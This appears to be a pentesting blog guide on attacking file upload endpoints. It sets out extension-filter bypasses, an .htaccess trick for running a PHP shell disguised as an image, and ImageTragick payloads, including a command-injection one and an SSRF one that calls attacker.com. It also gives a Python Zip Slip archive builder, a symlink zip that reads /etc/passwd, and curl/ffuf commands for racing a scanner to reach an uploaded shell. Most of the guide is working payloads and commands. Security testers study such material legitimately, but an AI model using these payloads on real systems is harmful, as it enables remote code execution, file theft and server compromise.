File upload features are a goldmine during pentests. A misconfigured upload endpoint can lead directly to Remote Code Execution. This guide covers every filter bypass technique and exploitation path.
Impact Overview
Scenario
Impact
Upload PHP/JSP/ASPX shell
Direct RCE on server
Upload HTML/SVG
Stored XSS
Upload XML/SVG with XXE
SSRF, file read
Upload ZIP bomb
DoS
Path traversal in filename
Overwrite server files
Upload to CDN without validation
Client-side malware hosting
Basic Reconnaissance
Before bypassing filters, understand what you’re dealing with:
What file types does the feature accept?
Where are uploaded files stored? (Check the response for the URL)
Are files served from the same domain? (XSS risk)
What is the server technology? (PHP, Java, .NET, Node)
What validation is happening? (Client-side, MIME, extension, magic bytes)
Extension Bypass
PHP alternatives
.php.php3.php4.php5.php7.phtml.phar.shtml .php.jpg(if server uses substr for extension check) shell.PhP (case sensitivity on Linux vs Windows) shell.php%00.jpg (null byte truncation in older PHP) shell.php .jpg(trailing space — Windows only) shell.php. (trailing dot — Windows)
ASP.NET alternatives
.asp.aspx.ashx.asmx.ascx.axd.cshtml.vbhtml
JSP alternatives
.jsp.jspx.jspf.jspa.jsw.jsv.jtml
Apache .htaccess trick
Upload .htaccess first:
AddType application/x-httpd-php .jpg
Then upload a PHP shell named shell.jpg. Apache will execute it as PHP.
This can overwrite files like authorized_keys, cron jobs, or drop a webshell outside the upload directory.
ImageTragick (ImageMagick)
If the server processes images with ImageMagick, try the classic MVG/MSL exploit:
push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/image.jpg"|ls "-la)' pop graphic-context
Or the SSRF variant:
push graphic-context viewbox 0 0 640 480 fill 'url(http://attacker.com/)' pop graphic-context
ZIP/Archive Exploitation
Zip Slip
Many applications extract ZIP archives. If the extraction code doesn’t sanitize paths:
# Create malicious zip with path traversal python -c " import zipfile with zipfile.ZipFile('evil.zip','w') as z: z.write('shell.php', '../../shell.php') "
Symlink in ZIP
ln -s /etc/passwd passwd.txt zip --symlinks malicious.zip passwd.txt
If extracted and served, reading passwd.txt returns /etc/passwd.
Double Extension Race Condition
Some servers temporarily store the file, run a scan, then delete or rename it. Upload a PHP shell and hit the temporary URL repeatedly before the scan completes:
# Upload in one terminal curl -F "file=@shell.php" https://target.com/upload
# Race to access in another terminal (Turbo Intruder / ffuf) ffuf -u https://target.com/uploads/shell.php -w /dev/null -rate 100
No comments yet. Be the first.